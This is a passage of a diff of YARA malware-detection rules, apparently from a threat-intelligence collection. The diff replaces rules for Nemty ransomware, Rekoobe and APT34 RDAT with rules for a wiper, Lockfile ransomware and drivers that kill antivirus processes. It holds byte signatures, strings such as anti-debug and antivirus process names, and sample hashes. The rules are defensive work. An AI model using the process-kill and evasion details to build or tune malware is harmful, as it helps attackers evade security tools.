1f 65 9d 11 ?? 1f 13 1f 6d 9d 11 ?? 28 ?? 00 00 06 1f 0c 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 70 9d 11 ?? 17 1f 61 9d 11 ?? 18 1f 72 9d 11 ?? 19 1f 74 9d 11 ?? 1a 1f 6f 9d 11 ?? 1b 1f 66 9d 11 ?? 1c 1f 64 9d 11 ?? 1d 1f 6f 9d 11 ?? 1e 1f 6d 9d 11 ?? 1f 09 1f 61 9d 11 ?? 1f 0a 1f 69 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 28 ?? 00 00 06 28 ?? 00 00 06 6f ?? 00 00 0a 72 7f 02 00 70 28 ?? 00 00 0a 2d 07 72 8b 02 00 70 2b 05 72 8f 02 00 70 a2 11 ?? 1f 18 } + $seq6 = { 13 30 02 00 2d 00 00 00 ?? 00 00 11 00 72 ?? ?? 00 70 28 ?? 00 00 0a 28 ?? 00 00 0a 73 ?? 00 00 0a 0a 06 72 ?? ?? 00 70 6f ?? 00 00 0a 0b 07 6f ?? 00 00 0a } + $seq7 = { 8d ?? 00 00 01 13 ?? 11 ?? 16 72 [2] 00 70 a2 11 ?? 17 [1-2] a2 11 ?? 18 72 [2] 00 70 a2 11 ?? 19 [2] a2 11 ?? 1a 72 [2] 00 70 a2 11 } + $seq8 = { 12 ?? 28 ?? 00 00 06 0f 00 28 ?? 00 00 06 d0 ?? 00 00 1b 28 ?? 00 00 0a 28 ?? 00 00 0a a5 ?? 00 00 1b [1-2] 2b 00 [1-2] 2a } + $seq9 = { 1f 10 8d ?? 00 00 01 13 ?? 11 ?? 16 1f 47 9d 11 ?? 17 1f 65 9d 11 ?? 18 1f 74 9d 11 ?? 19 1f 54 9d 11 ?? 1a 1f 68 9d 11 ?? 1b 1f 72 9d 11 ?? 1c 1f 65 9d 11 ?? 1d 1f 61 9d 11 ?? 1e 1f 64 9d 11 ?? 1f 09 1f 43 9d 11 ?? 1f 0a 1f 6f 9d 11 ?? 1f 0b 1f 6e 9d 11 ?? 1f 0c 1f 74 9d 11 ?? 1f 0d 1f 65 9d 11 ?? 1f 0e 1f 78 9d 11 ?? 1f 0f 1f 74 9d 11 ?? 28 97 00 00 06 28 09 00 00 2b 13 } condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 15KB and 3 of them } -rule ARKBIRD_SOLG_RAN_Nemty_June_2021_1 : FILE +rule ARKBIRD_SOLG_WIP_Unk_Wiper_July_2021_1 : FILE { meta: - description = "Detect Nemty ransomware" + description = "Detect unknown wiper that focuses olympic games in Japan" author = "Arkbird_SOLG" - id = "1c7994b8-7479-5679-91a5-e3ca4b2e7fde" - date = "2021-06-12" - modified = "2021-06-13" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-12/Nemty/RAN_Nemty_June_2021_1.yara#L1-L19" + id = "a03d558e-399a-506e-8f37-d4907cc68d54" + date = "2021-07-22" + modified = "2021-07-22" + reference = "https://www.mbsd.jp/research/20210721/blog/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-22/WIP_Unk_Wiper_July_2021_1.yara#L1-L29" license_url = "N/A" - logic_hash = "25a9e82ae1e950e1c71d6dfa120efd1a2ba39cbf8e9c2cd4ba4e67ce7dabc45e" + logic_hash = "32f66fee2547ef33121620b822f86bfdf66ff337909a56aa4f0e8ef83b6d7730" score = 75 - quality = 75 + quality = 40 tags = "FILE" - hash1 = "45e35c9b095871fbc9b85afff4e79dd36b7812b96a302e1ccc65ce7668667fe6" + hash1 = "295d0aa4bf13befebafd7f5717e7e4b3b41a2de5ef5123ee699d38745f39ca4f" hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390" - hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3" - tlp = "white" - adversary = "RAAS" + tlp = "green" + adversary = "Olympic Destroyer ?" strings: - $s1 = { 83 f8 1a 0f 8d [2] 00 00 [0-1] 89 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [1-15] 00 00 00} - $s2 = { 5a 4c 49 42 00 00 00 00 00 00 01 ?? 78 01 54 8f [3] 40 [2] cf } - $s3 = { 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [12-25] 00 81 } - $s4 = { ff ff [0-1] 8d 05 [3] 00 [0-1] 89 04 24 [0-1] c7 44 24 ?? 02 00 00 00 e8 [2] ff ff e8 [2] ff ff [0-1] 8b 4c 24 } + $s1 = "\\\\.\\Global\\ProcmonDebugLogger" fullword ascii + $s2 = { 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 00 00 00 00 4f 6c 6c 79 44 62 67 } + $s3 = { 8d 44 24 10 50 ff 15 08 30 40 00 50 ff 15 2c 30 40 00 83 7c 24 10 00 0f 85 76 02 00 00 33 c9 0f 1f } + $s4 = { 50 68 00 12 40 00 ff 15 60 30 40 00 85 c0 0f 85 ef 02 00 00 50 68 80 00 00 00 6a 03 50 6a 07 68 00 00 00 80 68 0c 32 40 00 ff 15 18 30 40 00 83 } + $s5 = { 8b 3d d0 30 40 00 88 84 0c e8 00 00 00 8d 84 24 e8 00 00 00 50 ff d7 83 c4 04 b0 9a 33 c9 0f 1f 00 f6 d0 88 84 0c b4 00 00 00 41 8a 81 30 32 40 } + $s6 = { 8b ec 83 ec 14 83 65 f4 00 8d 45 f4 83 65 f8 00 50 ff 15 34 30 40 00 8b 45 f8 33 45 f4 89 45 fc ff 15 38 30 40 00 31 45 fc ff 15 3c 30 40 00 31 45 fc 8d 45 ec 50 ff 15 40 30 40 00 8b 45 f0 8d 4d fc 33 45 ec 33 45 fc 33 } + $p1 = { 5c 2e 5c 47 6c 6f 62 61 6c 5c 35 84 44 65 62 75 67 4c 6f 67 67 3f } + $p2 = "UPX" fullword ascii + $p3 = { 45 6e 75 6d 57 69 6e 64 6f 77 73 } + $p4 = { 73 65 74 5f 6e 65 77 5f 6d 6f 64 65 00 00 00 5f 63 6f 6e 66 69 67 74 68 72 65 61 64 6c 6f 63 61 6c 65 } + $p5 = { 4e 75 74 6f 72 75 6e 2f 43 4e 65 74 } + $p6 = { 44 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 } + $p7 = { 53 6d 61 72 74 53 6e 69 66 66 67 } + $p8 = { 26 30 30 63 66 67 } + $p9 = { 72 6f 63 65 94 48 61 63 6b } condition: - uint16( 0 ) == 0x5a4d and filesize > 500KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 200KB and ( 5 of ( $s* ) or 7 of ( $p* ) ) } -rule ARKBIRD_SOLG_ATM_Dispcashbr_May_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Lockfile_Packed_Aug_2021_1 : FILE { meta: - description = "Detect the DispCashBR ATM malware" + description = "Detect lockfile ransomware (Packed version)" author = "Arkbird_SOLG" - id = "629261d8-242c-580d-aa4d-4b313c77edef" - date = "2020-05-14" - modified = "2021-05-14" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-14/DispCashBR/ATM_DispCashBR_May_2021_1.yara#L1-L18" + id = "7c1631d0-5bec-5b44-b4b2-5ddf1dbd7222" + date = "2021-08-28" + modified = "2021-08-29" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Packed_Aug_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "26f641a266c1f187d834a05b327c13ddee93747e182a5458e4ec3cb1f23f5f47" - score = 75 + logic_hash = "a52b2715d505a657c3cd7cd31efb47c16a0ec943a4e1b742bd3ec5c6e46495c9" + score = 50 quality = 75 tags = "FILE" - hash1 = "432f732a4ecbb86cb3dedbfa881f2733d20cbcc5958ead52823bf0967c133175" - hash2 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036" - tlp = "White" - adversary = "-" + hash1 = "2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a" + hash2 = "bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce" + level = "Experimental" + adversary = "Lockfile" strings: - $seq1 = { c7 45 cc 00 00 00 00 c7 04 24 68 5d 40 00 e8 40 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 89 44 24 04 c7 04 24 89 5d 40 00 e8 0c 0e 00 00 c7 04 24 a4 5d 40 00 e8 18 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 01 45 cc c7 04 24 d0 07 00 00 e8 7d 0e 00 00 83 ec 04 8b 85 a0 fd ff ff 8d 48 0a 0f b7 85 be fd ff ff 0f b7 c0 8d 95 98 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 89 4c 24 08 c7 44 24 04 2e 01 00 00 89 04 24 e8 75 05 00 00 83 ec 14 89 45 e8 8b 45 e8 83 c0 38 83 } - $seq2 = { 0f b7 85 be fd ff ff 0f b7 c0 8b 55 e4 89 54 24 08 c7 44 24 04 06 00 00 00 89 04 24 e8 7e 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 b8 fd ff ff 89 54 24 08 c7 44 24 04 00 00 00 00 89 04 24 e8 5f 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 f8 16 00 00 83 ec 14 89 45 e0 8d 85 ac fd ff ff 89 44 24 08 c7 44 24 04 03 00 00 00 c7 04 24 04 00 00 00 e8 dc 16 00 00 83 ec 0c 8b 45 e0 83 c0 38 83 f8 } - $seq3 = { 8b 85 a8 fd ff ff 8b 50 14 8b 85 a8 fd ff ff 8b 40 10 0f af c2 89 45 d8 8b 45 d8 89 44 24 04 c7 04 24 04 5b 40 00 e8 aa 12 00 00 8b 85 a4 fd ff ff 0f b7 40 04 0f b7 c0 89 44 24 04 c7 04 24 24 5b 40 00 e8 8d 12 00 00 8b 85 a8 fd ff ff 8b 50 18 8b 85 a8 fd ff ff 8b 40 1c 0f af c2 89 45 d4 c7 45 f0 00 00 00 00 8b 45 d8 89 44 24 04 c7 04 24 45 5b 40 00 e8 5b 12 00 00 83 45 f0 01 83 7d f0 01 7e e3 8b 85 a0 fd ff ff c7 40 06 01 00 00 00 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 60 ed ff ff 89 45 d0 } - $seq4 = { c7 45 ec 00 00 00 00 8d 85 c4 fd ff ff 89 44 24 04 c7 04 24 03 00 02 0b e8 47 1b 00 00 83 ec 08 89 45 e8 83 7d e8 00 74 18 c7 04 24 92 50 40 00 e8 8b 23 00 00 c7 04 24 ff ff ff ff e8 8f 23 00 00 c7 04 24 aa 50 40 00 e8 8b 23 00 00 c7 04 24 f5 ff ff ff e8 ef 23 00 00 83 ec 04 c7 44 24 04 03 00 00 00 89 04 24 e8 e4 23 00 00 83 ec 08 c7 04 24 b8 0b 00 00 e8 dd 23 00 00 83 ec 04 c7 04 24 c4 50 40 00 e8 4e 23 00 00 8d 85 c4 fd ff ff 83 c0 06 89 44 24 04 c7 04 24 ed 50 40 00 e8 1d 23 00 00 8d 85 c4 fd ff ff 05 07 01 00 00 89 44 24 04 c7 04 24 03 51 40 00 e8 02 23 00 00 0f b7 85 c8 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 1a 51 40 00 e8 e8 22 00 00 0f b7 85 c6 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 2f 51 40 00 e8 ce 22 00 00 0f b7 85 c4 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 42 51 40 00 e8 b4 22 00 00 c7 04 24 54 51 40 00 e8 c0 22 00 00 8d 85 c0 fd ff ff 89 04 24 e8 46 1a 00 00 83 ec 04 8b 85 c0 fd ff ff 8d 95 be fd ff ff 89 54 24 20 c7 44 24 1c 00 00 00 00 8d 95 c4 fd ff ff 89 54 24 18 c7 44 24 14 0f 00 02 0b c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 7f 51 40 00 e8 f9 19 00 00 83 ec 24 89 45 e8 8b 45 e8 83 c0 36 83 f8 } + $s1 = { 90 03 ?? 40 58 4a bc 3c 64 e4 5d 2e 44 45 45 45 ?? 72 48 8e 45 45 43 45 [6] 08 f6 33 45 [5] 01 e9 e3 } + $s2 = { 5b 22 48 0f 5b 22 48 0f 5b 22 48 bb c7 d3 48 03 5b 22 48 bb c7 d1 48 97 5b 22 48 bb c7 d0 48 16 5b 22 48 69 34 df 48 0e 5b 22 48 5d 2e 26 49 1d 5b 22 48 5d 2e 21 49 05 5b 22 48 59 2e 27 49 28 5b 22 48 59 2e 21 49 0e 5b 22 48 5d 2e 27 49 58 5b 22 48 06 23 b1 48 02 5b 22 48 0f 5b 23 48 bf 5b 22 48 59 2e 2b 49 0d 5b 22 48 59 2e dd 48 0e 5b 22 48 59 2e 20 49 0e 5b 22 48 52 69 63 68 0f 5b 22 48 } + $s3 = { 44 fc 90 a9 [0-4] 1c 79 38 10 [0-4] 18 20 72 0e [2-5] 3f [0-4] 24 34 6c 05 fc [0-4] 23 40 } + $s4 = { c3 df [0-4] 10 4c c8 20 d3 55 56 57 41 54 41 55 } condition: - uint16( 0 ) == 0x5a4d and filesize > 20KB and 3 of ( $seq* ) + uint16( 0 ) == 0x5a4d and filesize > 10KB and all of ( $s* ) } -rule ARKBIRD_SOLG_MAL_ELF_Rekoobe_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Lockfile_Aug_2021_1 : FILE { meta: - description = "Detect the Rekoobe rootkit" + description = "Detect Lockfile ransomware (unpacked version)" author = "Arkbird_SOLG" - id = "a5b200f1-cbb7-5106-8127-74abd3cde061" - date = "2021-11-10" - modified = "2021-11-11" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-10/MAL_ELF_Rekoobe_Nov_2021_1.yara#L1-L20" + id = "4abe2e70-5df9-5c5c-ac11-0c958d5430b7" + date = "2021-08-28" + modified = "2021-08-29" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/RAN_Lockfile_Aug_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "bde3d1a3d2d2e9efd4b7c68f69dce40d5e0f01d41885481730d8a7fa67cbab7e" - score = 75 - quality = 73 + logic_hash = "6fc04316b8b4790494a8c88c8435245a051b2757e5936a5ef95cae2f05907b63" + score = 50 + quality = 75 tags = "FILE" - hash1 = "bf09a1a7896e05b18c033d2d62f70ea4cac85e2d72dbd8869e12b61571c0327e" - hash2 = "e1999a3e5a611312e16bb65bb5a880dfedbab8d4d2c0a5d3ed1ed926a3f63e94" - tlp = "white" - adversary = "-" + hash1 = "3303a19789a73fa70a107f8e35a4ce10bb4f6a69ac041a1947481ed8ae99a11c" + level = "experimental" + adversary = "Lockfile" strings: - $s1 = { 00 ?? 19 00 00 00 48 85 c0 [2-6] bf 0a 00 00 00 e8 [2] 01 00 ?? 24 00 00 00 48 85 c0 [2-6] c6 00 48 c6 40 05 49 c6 40 01 49 c6 40 06 4c c6 40 02 53 c6 40 07 45 c6 40 03 54 c6 40 08 3d c6 40 04 46 c6 40 09 00 48 89 c7 e8 [2] 00 00 48 8d 54 24 0c } - $s2 = "GETCONF_DIR" ascii - $s3 = "/var/run/nscd/so/dev/ptmx" ascii - $s4 = { 45 78 65 63 53 74 61 72 74 3d 2f 62 69 6e 2f 62 61 73 68 20 2d 63 20 2f 75 73 72 2f 62 69 6e 2f 62 69 6f 73 65 74 64 } - $s5 = { 48 89 df e8 [3] ff 31 f6 48 89 df e8 [3] ff 48 8d 58 01 48 } - $s6 = { 2f 76 61 72 2f 74 6d 70 00 2f 76 61 72 2f 70 72 6f 66 69 6c 65 } + $s1 = { 80 32 41 48 8d 52 01 ff c1 81 f9 d1 57 00 00 72 ef 4c 8d 05 78 d4 06 00 33 d2 33 c9 ff 15 06 9a 05 00 48 8b d8 ff 15 0d 9a 05 00 48 8b cb 3d b7 00 00 00 75 14 ff 15 0d 9a 05 00 33 c0 48 81 c4 d0 03 00 00 41 5c 5b 5d c3 4c 89 b4 24 c8 03 00 00 4c 89 bc 24 c0 03 00 00 ff 15 e9 99 05 00 ff } + $s2 = "winsta0\\default" fullword ascii + $s3 = { 55 56 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 33 db 48 8b f1 48 89 5c 24 68 48 89 5d 40 48 89 5c 24 60 ff 15 0b a2 05 00 8b c8 89 45 38 48 8d 54 24 68 ff 15 1b a5 05 00 0f 57 c0 8d 7b 30 33 c0 48 89 45 00 48 89 45 98 48 8d 05 d4 db 06 00 0f 11 45 a0 c7 45 a0 68 00 00 00 0f 11 45 b0 48 89 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 0f 11 45 f0 0f 11 45 88 ff 15 17 a2 05 00 4c 8d 44 24 60 ba eb 01 02 00 48 8b c8 ff 15 4c a1 05 00 85 c0 0f 84 10 01 00 00 4c 8d 44 24 70 33 c9 48 8d 15 8e db 06 00 ff 15 28 a1 05 00 85 c0 0f 84 f4 00 00 00 48 8b 44 24 70 44 8d 4b 01 48 8b 4c 24 60 45 33 c0 48 89 44 24 7c ba 00 00 00 02 48 8d 45 40 c7 44 24 78 01 00 00 00 48 89 44 24 28 c7 44 24 20 01 00 00 00 c7 45 84 02 00 00 00 ff 15 ef a0 05 00 85 } + $s4 = { 48 8d 85 18 03 00 00 40 88 74 24 53 48 89 44 24 30 4c 8d 4c 24 44 48 8b 05 57 04 0c 00 48 8d 15 f0 dd 06 00 48 89 44 24 28 48 8d 8d d0 01 00 00 48 8d 45 b0 4c 8b c3 48 89 44 24 20 e8 13 f3 ff ff 48 89 74 24 30 48 8d 8d d0 01 00 00 c7 44 24 28 80 00 00 00 45 33 c9 45 33 c0 c7 44 24 20 02 00 00 00 ba 00 00 00 c0 ff 15 a6 a3 05 00 44 8b 05 8f fe 07 00 48 8d 4d 88 48 8b f8 e8 23 b5 ff ff 48 83 } + $s5 = { 3c 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 25 73 3c 2f 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3e 00 3c 62 6c 6f 63 6b 6e 75 6d 3e 25 64 3c 2f 62 6c 6f 63 6b 6e 75 6d 3e 00 25 73 5c 25 73 2d 25 73 2d 25 64 25 73 } + $s6 = { 33 d2 48 8d 8d c0 00 00 00 41 b8 04 01 00 00 e8 48 99 03 00 48 8d 95 10 03 00 00 c7 85 10 03 00 00 04 01 00 00 48 8d 4d b0 ff 15 c5 a5 05 00 4c 8d 45 b0 48 8d 15 2a df 06 00 48 8d 8d c0 00 00 00 e8 96 f4 ff ff 44 8d 46 02 48 8d 15 33 df 06 00 48 8d 4c 24 68 e8 81 f4 ff ff c6 85 18 03 00 00 2f 8b ce c6 85 19 03 00 00 69 c6 85 1a 03 00 00 75 c6 85 1b 03 00 00 62 40 88 b5 1c 03 00 00 0f b6 } condition: - uint32( 0 ) == 0x464C457F and filesize > 100KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 10KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT34_RDAT_July_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Killproc_Aug_2021_1 : FILE { meta: - description = "Detect RDAT used by APT34" + description = "Detect KillProc driver used by Night Dragon for kill process before encryption" author = "Arkbird_SOLG" - id = "136f8a9e-e680-5fab-8113-b4d33a47bc34" - date = "2021-07-15" - modified = "2021-07-16" - reference = "https://twitter.com/ShadowChasing1/status/1415206437806960647" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-15/APT34/APT_APT34_RDAT_July_2021_1.yara#L1-L22" + id = "b0d6a21d-f451-58c9-b640-ad57feec7c38" + date = "2021-08-27" + modified = "2021-08-29" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_KillProc_Aug_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "269788430ca8faff4b0ea5ec7c2a62f99f5f48ef3bc4ea3f7a27f1d735e64819" + logic_hash = "d24634e7719e3b6be3322b07c3e754e8c1275c73102c6d7f8d9abaae9887a0da" score = 75 quality = 75 tags = "FILE" - hash1 = "b59dea96ef94e8d32ee1a1805174318643569bbdca0d7569ede19467ff09dcdc" - hash2 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c" - hash3 = "f9f6dbb09773f708b125a4cca509047eb33c8c53d9e15a8c41ae3d7a8c3e5c7c" - tlp = "White" - adversary = "APT34" + hash1 = "36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9" + adversary = "Lockfile" strings: - $s1 = { 0a 6f 70 74 20 25 6c 75 28 25 6c 75 29 20 73 74 61 74 20 25 6c 75 28 25 6c 75 29 20 73 74 6f 72 65 64 20 25 6c 75 20 6c 69 74 20 25 75 20 64 69 73 74 20 25 75 } - $s2 = { 0a 6c 61 73 74 5f 6c 69 74 20 25 75 2c 20 6c 61 73 74 5f 64 69 73 74 20 25 75 2c 20 69 6e 20 25 6c 64 2c 20 6f 75 74 20 7e 25 6c 64 28 25 6c 64 25 25 29 } - $s3 = { 70 65 6e 53 43 4d 61 6e 61 67 65 72 20 66 61 69 6c 65 64 20 28 25 64 29 0a } - $s4 = { 43 72 65 61 74 65 53 65 72 76 69 63 65 20 66 61 69 6c 65 64 20 28 25 64 29 0a 00 00 00 00 00 00 53 65 72 76 69 63 65 20 69 6e 73 74 61 6c 6c 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 0a } - $s5 = { 49 8b cd ff 15 56 22 07 00 c6 05 87 7b 0a 00 00 c7 05 81 7b 0a 00 60 ea 00 00 49 83 c9 ff 45 33 c0 48 8d 55 20 48 8d 0d f3 7b 0a 00 e8 26 a4 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 00 48 8d 0d bc 7b 0a 00 e8 0f a4 ff ff 41 b8 07 00 00 00 48 8d 15 92 b8 08 00 48 8d 0d 03 7c 0a 00 e8 16 a3 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 40 48 8d 0d 6c 7b 0a 00 e8 df a3 ff ff 41 b8 ?? 00 00 00 48 8d 15 6a b8 08 00 48 8d 0d 13 7c 0a 00 e8 e6 a2 ff ff 48 8d 1d 0f 7d 0a 00 48 8b c3 48 83 3d 1c 7d 0a 00 08 48 0f 43 05 fc 7c 0a 00 48 89 44 24 58 48 8d 05 a0 03 00 00 48 89 44 24 60 48 89 7c 24 68 48 89 7c 24 70 48 8d 4c 24 58 ff 15 4e 21 07 00 85 c0 75 29 48 83 3d e2 7c 0a 00 08 48 0f 43 1d c2 7c 0a 00 48 8b d3 33 c9 ff 15 37 21 07 00 48 85 c0 74 09 48 8b c8 ff 15 f1 20 07 00 83 7c 24 30 02 7f 5d 48 8d 44 24 48 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 0a 71 ff ff 33 d2 33 c9 ff 15 60 22 07 00 48 8d 44 24 50 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 a8 95 ff ff 33 d2 33 c9 ff 15 3e 22 07 00 83 ca ff 48 8b c8 ff 15 f2 20 07 00 b9 64 00 00 00 ff 15 47 22 07 } - $s6 = { 48 89 7d f0 48 89 7d f8 45 33 c0 33 d2 48 8d 4d e0 e8 43 a7 ff ff 41 b8 2c 00 00 00 48 8d 15 be bc 08 00 48 8d 4d e0 e8 ad a7 ff ff 48 89 7d 70 48 89 7d 78 45 33 c0 33 d2 48 8d 4d 60 e8 17 a7 ff ff 45 33 c0 48 8d 15 77 94 08 00 48 8d 4d 60 e8 84 a7 ff ff 83 7c 24 30 02 75 6e 48 8d 85 a8 00 00 00 48 89 85 a0 00 00 00 41 b8 03 00 00 00 49 8b 55 08 48 8d 8d a0 00 00 00 e8 c9 0a 00 00 48 8b 95 a0 00 00 00 48 8d 4d a0 e8 89 a5 ff ff 48 8d 85 a8 00 00 00 48 8b 8d a0 00 00 48 89 85 b0 10 00 00 48 8b da 48 8b f9 33 f6 89 74 24 78 c7 45 80 18 00 00 00 c7 45 90 01 00 00 00 48 89 75 88 45 33 c9 4c 8d 45 80 48 8d 54 24 68 48 8d 4c 24 60 ff 15 81 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 60 ff 15 68 fe 06 00 45 33 c9 4c 8d 45 80 48 8d 54 24 70 48 8d 4c 24 58 ff 15 59 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 58 ff 15 40 fe 06 00 33 c0 48 89 45 98 48 89 45 a0 48 89 45 a8 33 d2 44 8d 46 68 48 8d 4d c0 e8 ab 89 04 00 c7 45 c0 68 00 00 00 48 8b 44 24 68 48 89 45 20 48 8b 44 24 70 48 89 45 18 81 4d fc 00 01 00 00 48 8b d3 48 8d 4d 30 e8 bf fe ff ff 90 4c 8b c0 48 8d 8d 90 00 00 00 e8 9f 0d 00 00 90 45 33 c0 b2 01 48 8d 4d 30 e8 d0 7d ff ff 48 8d 95 90 00 00 00 48 83 bd a8 00 00 00 08 48 0f 43 95 90 00 00 00 48 8d 45 98 48 89 44 24 48 48 8d 45 c0 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 a7 fd 06 00 48 8b 4c 24 68 ff 15 94 fd 06 00 48 8b 4c 24 70 ff 15 89 fd 06 00 48 89 b5 80 00 00 00 48 89 b5 88 00 00 00 } + $s1 = "find %s!\n" fullword ascii + $s2 = "killed %s!\n" fullword ascii + $s3 = "DbgPrint" fullword ascii + $s4 = "ntoskrnl.exe" fullword ascii + $s5 = "SBPIMSvc.exe" fullword ascii + $s6 = "MsMpEng.exe" fullword ascii + $s7 = { 48 8b ce ff 15 92 cf ff ff 48 8b d0 48 8b cb ff 15 8e cf ff ff 48 8d 7f 08 85 c0 74 0d 48 8b 1f 44 38 23 75 db e9 a7 00 00 00 48 8b ce ff 15 68 cf ff ff 48 8b d0 48 8d 0d 6e bf ff ff ff 15 70 cf ff ff 48 8b ce ff 15 37 cf ff ff 8b c8 48 8d 54 24 40 ff 15 3a cf ff ff 85 c0 78 56 48 8b 4c 24 40 48 8d 84 24 a8 00 00 00 48 89 44 24 30 45 33 c9 44 88 64 24 28 45 33 c0 33 d2 4c 89 64 24 20 ff 15 04 cf ff ff 85 c0 74 05 45 32 f6 eb 41 48 8b 8c 24 a8 00 00 00 33 d2 ff 15 0b cf ff ff 48 8b 8c 24 a8 00 00 00 ff 15 0d cf ff ff 41 b6 01 eb 05 45 84 f6 74 19 48 8b ce ff 15 da ce ff ff 48 8b d0 48 8d 0d f0 be ff ff ff 15 e2 ce ff ff 48 8b ce ff 15 a1 ce ff ff 48 83 } + $s8 = "UpdaterUI.exe" fullword ascii + $s9 = "VipreNis.exe" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 80KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 3KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_SP_Vault7_SIG_F_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Kernel_Driver_Aug_2021_1 : FILE { meta: - description = "Detect open-source PasswordReminder recovery tools used by Chinese APT in the Past" + description = "Detect kernel driver used by lockfile group" author = "Arkbird_SOLG" - id = "0b65e333-16e2-57c3-84f0-5cd24c9d9593" - date = "2020-11-30" - modified = "2020-11-30" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-30/SP_Vault7_SIG_F_Nov_2020_1.yar#L1-L23" + id = "80bf5286-6da6-5380-ad14-345d8122d3d4" + date = "2021-08-28" + modified = "2021-08-29" + reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_Kernel_Driver_Aug_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "b03ffb433491b532d891f29aeb5b33c6578067f2f05845514a7bdc1e50f88a10" + logic_hash = "225bd5995d3f1ed4c0bcb43c862662c9e5badd96a87d779d3bc6f1809d0ce3bb" score = 75 - quality = 75 + quality = 50 tags = "FILE" - hash1 = "e6e17f2b2ce0ae07cf48654156b79ee90d330961456f731e84c94f50fe34f802" - hash2 = 